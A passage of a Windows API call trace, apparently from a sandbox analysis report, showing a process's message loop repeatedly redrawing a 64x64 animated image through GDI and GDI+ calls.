LocalFree (hMem=0x1e7b48a0) returned 0x0 [0142.297] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0142.297] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0142.297] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0142.297] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0142.297] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0142.297] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0142.298] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0142.298] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0142.298] GetCurrentObject (hdc=0x25010b91, type=0x1) returned 0x1b00017 [0142.298] GetCurrentObject (hdc=0x25010b91, type=0x2) returned 0x1900010 [0142.298] GetCurrentObject (hdc=0x25010b91, type=0x7) returned 0x1a05067e [0142.298] GetCurrentObject (hdc=0x25010b91, type=0x6) returned 0x18a002e [0142.298] SaveDC (hdc=0x25010b91) returned 1 [0142.298] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0xffffffffc60407c3 [0142.298] GetClipRgn (hdc=0x25010b91, hrgn=0xffffffffc60407c3) returned 0 [0142.298] SelectClipRgn (hdc=0x25010b91, hrgn=0xffffffff96040b8a) returned 2 [0142.299] DeleteObject (ho=0xffffffffc60407c3) returned 1 [0142.299] DeleteObject (ho=0xffffffff96040b8a) returned 1 [0142.299] OffsetViewportOrgEx (in: hdc=0x25010b91, x=0, y=0, lppt=0x26d0718 | out: lppt=0x26d0718) returned 1 [0142.299] GetNearestColor (hdc=0x25010b91, color=0xffffff) returned 0xffffff [0142.299] CreateSolidBrush (color=0xffffff) returned 0xffffffff9e100190 [0142.299] FillRect (hDC=0x25010b91, lprc=0x15d7c0, hbr=0xffffffff9e100190) returned 1 [0142.299] DeleteObject (ho=0xffffffff9e100190) returned 1 [0142.299] RestoreDC (hdc=0x25010b91, nSavedDC=-1) returned 1 [0142.300] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0142.300] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x25010b91) returned 0x0 [0142.300] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffcaa0dbd) returned 0x0 [0142.300] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0142.300] GdipDeleteRegion (region=0x1d2e7c10) returned 0x0 [0142.300] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0142.300] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0142.300] GetSystemMetrics (nIndex=42) returned 0 [0142.300] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0142.300] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0142.300] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0142.300] CoTaskMemFree (pv=0x1e91eca0) [0142.300] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0142.300] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0142.300] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0142.300] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0142.301] BitBlt (hdc=0x3010b83, x=0, y=0, cx=64, cy=64, hdcSrc=0x25010b91, x1=0, y1=0, rop=0xcc0020) returned 1 [0142.301] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0142.301] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x25010b91) returned 0x0 [0142.301] SelectObject (hdc=0x25010b91, h=0x185000f) returned 0x1a05067e [0142.301] DeleteDC (hdc=0x25010b91) returned 1 [0142.301] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0142.301] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0142.301] SelectPalette (hdc=0x3010b83, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0142.301] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0142.301] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0142.301] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0142.301] WaitMessage () returned 1 [0142.549] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0142.549] IsWindowUnicode (hWnd=0x2031e) returned 1 [0142.549] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0142.549] TranslateMessage (lpMsg=0x15e910) returned 0 [0142.549] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0142.549] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0142.550] GetCurrentThreadId () returned 0xec0 [0142.550] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0142.550] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0142.550] IsWindowUnicode (hWnd=0x2031e) returned 1 [0142.550] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0142.550] TranslateMessage (lpMsg=0x15e910) returned 0 [0142.550] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0142.550] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x3010b83 [0142.550] SelectPalette (hdc=0x3010b83, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0142.550] CreateCompatibleDC (hdc=0x3010b83) returned 0x26010b91 [0142.551] SelectObject (hdc=0x26010b91, h=0x1a05067e) returned 0x185000f [0142.551] GdipCreateFromHDC (hdc=0x26010b91, graphics=0x15daf0) returned 0x0 [0142.551] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0142.551] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0142.551] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0142.551] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0142.551] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0142.551] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0142.551] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7b48a0) returned 0x0 [0142.552] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0142.552] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0142.552] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0142.552] GdipCreateRegion (region=0x15dc20) returned 0x0 [0142.552] GdipGetClip (graphics=0x1de4fd10, region=0x1d2e7c10) returned 0x0 [0142.552] GdipIsInfiniteRegion (region=0x1d2e7c10, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0142.552] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0142.552] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0142.552] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0142.553] GetSystemMetrics (nIndex=42) returned 0 [0142.553] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0142.553] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0142.553] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0142.553] CoTaskMemFree (pv=0x1e91eca0) [0142.553] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0142.553] GdipCreateRegion (region=0x15d710) returned 0x0 [0142.553] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0142.553] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0142.553] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0142.553] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0142.553] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0142.553] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0142.554] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0142.554] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1d2e7c10, combineMode=0x1) returned 0x0 [0142.554] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0142.554] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0142.555] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0142.555] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0142.555] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0142.555] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0142.555] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0142.555] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0142.555] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0142.555] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0142.555] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0142.556] GetCurrentObject (hdc=0x26010b91, type=0x1) returned 0x1b00017 [0142.556] GetCurrentObject (hdc=0x26010b91, type=0x2) returned 0x1900010 [0142.556] GetCurrentObject (hdc=0x26010b91, type=0x7) returned 0x1a05067e [0142.556] GetCurrentObject (hdc=0x26010b91, type=0x6) returned 0x18a002e [0142.556] SaveDC (hdc=0x26010b91) returned 1 [0142.556] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0xffffffff97040b8a [0142.556] GetClipRgn (hdc=0x26010b91, hrgn=0xffffffff97040b8a) returned 0 [0142.556] SelectClipRgn (hdc=0x26010b91, hrgn=0xffffffffc70407c3) returned 2 [0142.556] DeleteObject (ho=0xffffffff97040b8a) returned 1 [0142.557] DeleteObject (ho=0xffffffffc70407c3) returned 1 [0142.557] OffsetViewportOrgEx (in: hdc=0x26010b91, x=0, y=0, lppt=0x26d1050 | out: lppt=0x26d1050) returned 1 [0142.557] GetNearestColor (hdc=0x26010b91, color=0xffffff) returned 0xffffff [0142.557] CreateSolidBrush (color=0xffffff) returned 0xffffffff9f100190 [0142.557] FillRect (hDC=0x26010b91, lprc=0x15d7c0, hbr=0xffffffff9f100190) returned 1 [0142.557] DeleteObject (ho=0xffffffff9f100190) returned 1 [0142.557] RestoreDC (hdc=0x26010b91, nSavedDC=-1) returned 1 [0142.557] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0142.557] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x26010b91) returned 0x0 [0142.557] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffca80dbd) returned 0x0 [0142.558] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0142.558] GdipDeleteRegion (region=0x1d2e7c10) returned 0x0 [0142.558] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0142.558] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0142.558] GetSystemMetrics (nIndex=42) returned 0 [0142.558] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0142.558] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0142.558] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0142.558] CoTaskMemFree (pv=0x1e91eca0) [0142.558] GdipImageSelectActiveFrame (image=0x1dc21b40, dimensionID=0x15db10*(Data1=0x6aedbd6d, Data2=0x3fb5, Data3=0x418a, Data4=([0]=0x83, [1]=0xa6, [2]=0x7f, [3]=0x45, [4]=0x22, [5]=0x9d, [6]=0xc8, [7]=0x72)), frameIndex=0xe) returned 0x0 [0142.561] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0142.561] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0142.561] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0142.561] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0142.561] BitBlt (hdc=0x3010b83, x=0, y=0, cx=64, cy=64, hdcSrc=0x26010b91, x1=0, y1=0, rop=0xcc0020) returned 1 [0142.561] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0142.561] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x26010b91) returned 0x0 [0142.562] SelectObject (hdc=0x26010b91, h=0x185000f) returned 0x1a05067e [0142.562] DeleteDC (hdc=0x26010b91) returned 1 [0142.562] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0142.562] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0142.562] SelectPalette (hdc=0x3010b83, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0142.562] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0142.562] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0142.562] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0142.562] WaitMessage () returned 1 [0142.682] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0142.682] IsWindowUnicode (hWnd=0x2031e) returned 1 [0142.682] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0142.682] TranslateMessage (lpMsg=0x15e910) returned 0 [0142.682] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0142.682] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0142.682] GetCurrentThreadId () returned 0xec0 [0142.682] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0142.682] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0142.682] IsWindowUnicode (hWnd=0x2031e) returned 1 [0142.682] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0142.683] TranslateMessage (lpMsg=0x15e910) returned 0 [0142.683] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0142.683] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x3010b83 [0142.683] SelectPalette (hdc=0x3010b83, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0142.683] CreateCompatibleDC (hdc=0x3010b83) returned 0x27010b91 [0142.683] SelectObject (hdc=0x27010b91, h=0x1a05067e) returned 0x185000f [0142.683] GdipCreateFromHDC (hdc=0x27010b91, graphics=0x15daf0) returned 0x0 [0142.683] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0142.684] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0142.684] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0142.684] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0142.684] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0142.684] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0142.684] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7b48a0) returned 0x0 [0142.685] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0142.685] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0142.685] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0142.685] GdipCreateRegion (region=0x15dc20) returned 0x0 [0142.685] GdipGetClip (graphics=0x1de4fd10, region=0x1de43de0) returned 0x0 [0142.685] GdipIsInfiniteRegion (region=0x1de43de0, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0142.685] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0142.685] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0142.685] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0142.685] GetSystemMetrics (nIndex=42) returned 0 [0142.685] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0142.685] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0142.685] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0142.686] CoTaskMemFree (pv=0x1e91eca0) [0142.686] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0142.686] GdipCreateRegion (region=0x15d710) returned 0x0 [0142.686] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0142.686] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0142.686] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0142.686] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0142.686] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0142.686] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0142.687] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0142.687] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1de43de0, combineMode=0x1) returned 0x0 [0142.687] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0142.687] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0142.687] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0142.687] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0142.687] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0142.687] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0142.688] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0142.688] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0142.688] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0142.688] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0142.688] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0142.688] GetCurrentObject (hdc=0x27010b91, type=0x1) returned 0x1b00017 [0142.688] GetCurrentObject (hdc=0x27010b91, type=0x2) returned 0x1900010 [0142.688] GetCurrentObject (hdc=0x27010b91, type=0x7) returned 0x1a05067e [0142.688] GetCurrentObject (hdc=0x27010b91, type=0x6) returned 0x18a002e [0142.688] SaveDC (hdc=0x27010b91) returned 1 [0142.689] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0xffffffffc80407c3 [0142.689] GetClipRgn (hdc=0x27010b91, hrgn=0xffffffffc80407c3) returned 0 [0142.689] SelectClipRgn (hdc=0x27010b91, hrgn=0xffffffff98040b8a) returned 2 [0142.689] DeleteObject (ho=0xffffffffc80407c3) returned 1 [0142.689] DeleteObject (ho=0xffffffff98040b8a) returned 1 [0142.689] OffsetViewportOrgEx (in: hdc=0x27010b91, x=0, y=0, lppt=0x26d2308 | out: lppt=0x26d2308) returned 1 [0142.689] GetNearestColor (hdc=0x27010b91, color=0xffffff) returned 0xffffff [0142.689] CreateSolidBrush (color=0xffffff) returned 0xffffffffa0100190 [0142.689] FillRect (hDC=0x27010b91, lprc=0x15d7c0, hbr=0xffffffffa0100190) returned 1 [0142.689] DeleteObject (ho=0xffffffffa0100190) returned 1 [0142.690] RestoreDC (hdc=0x27010b91, nSavedDC=-1) returned 1 [0142.690] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0142.690] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x27010b91) returned 0x0 [0142.690] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffca60dbd) returned 0x0 [0142.690] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0142.690] GdipDeleteRegion (region=0x1de43de0) returned 0x0 [0142.690] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0142.690] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0142.690] GetSystemMetrics (nIndex=42) returned 0 [0142.690] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0142.690] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0142.690] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0142.691] CoTaskMemFree (pv=0x1e91eca0) [0142.691] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0142.691] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0142.691] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0142.691] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0142.691] BitBlt (hdc=0x3010b83, x=0, y=0, cx=64, cy=64, hdcSrc=0x27010b91, x1=0, y1=0, rop=0xcc0020) returned 1 [0142.691] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0142.691] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x27010b91) returned 0x0 [0142.691] SelectObject (hdc=0x27010b91, h=0x185000f) returned 0x1a05067e [0142.691] DeleteDC (hdc=0x27010b91) returned 1 [0142.692] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0142.692] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0142.692] SelectPalette (hdc=0x3010b83, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0142.692] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0142.692] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0142.692] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0142.692] WaitMessage () returned 1 [0142.807] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0142.807] IsWindowUnicode (hWnd=0x2031e) returned 1 [0142.807] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0142.807] TranslateMessage (lpMsg=0x15e910) returned 0 [0142.807] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0142.807] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0142.808] GetCurrentThreadId () returned 0xec0 [0142.808] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0142.808] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0142.808] IsWindowUnicode (hWnd=0x2031e) returned 1 [0142.808] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0142.808] TranslateMessage (lpMsg=0x15e910) returned 0 [0142.808] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0142.808] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x3010b83 [0142.808] SelectPalette (hdc=0x3010b83, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0142.809] CreateCompatibleDC (hdc=0x3010b83) returned 0x28010b91 [0142.809] SelectObject (hdc=0x28010b91, h=0x1a05067e) returned 0x185000f [0142.809] GdipCreateFromHDC (hdc=0x28010b91, graphics=0x15daf0) returned 0x0 [0142.809] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0142.809] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0142.809] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0142.809] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0142.809] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0142.810] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0142.810] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7b48a0) returned 0x0 [0142.810] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0142.810] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0142.810] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0142.810] GdipCreateRegion (region=0x15dc20) returned 0x0 [0142.811] GdipGetClip (graphics=0x1de4fd10, region=0x1de43de0) returned 0x0 [0142.811] GdipIsInfiniteRegion (region=0x1de43de0, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0142.811] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0142.811] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0142.811] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0142.811] GetSystemMetrics (nIndex=42) returned 0 [0142.811] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0142.811] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0142.811] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0142.811] CoTaskMemFree (pv=0x1e91eca0) [0142.811] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0142.812] GdipCreateRegion (region=0x15d710) returned 0x0 [0142.812] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0142.812] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0142.812] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0142.812] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0142.812] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0142.812] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0142.812] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0142.813] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1de43de0, combineMode=0x1) returned 0x0 [0142.813] LocalAlloc (uFlags=0x0, 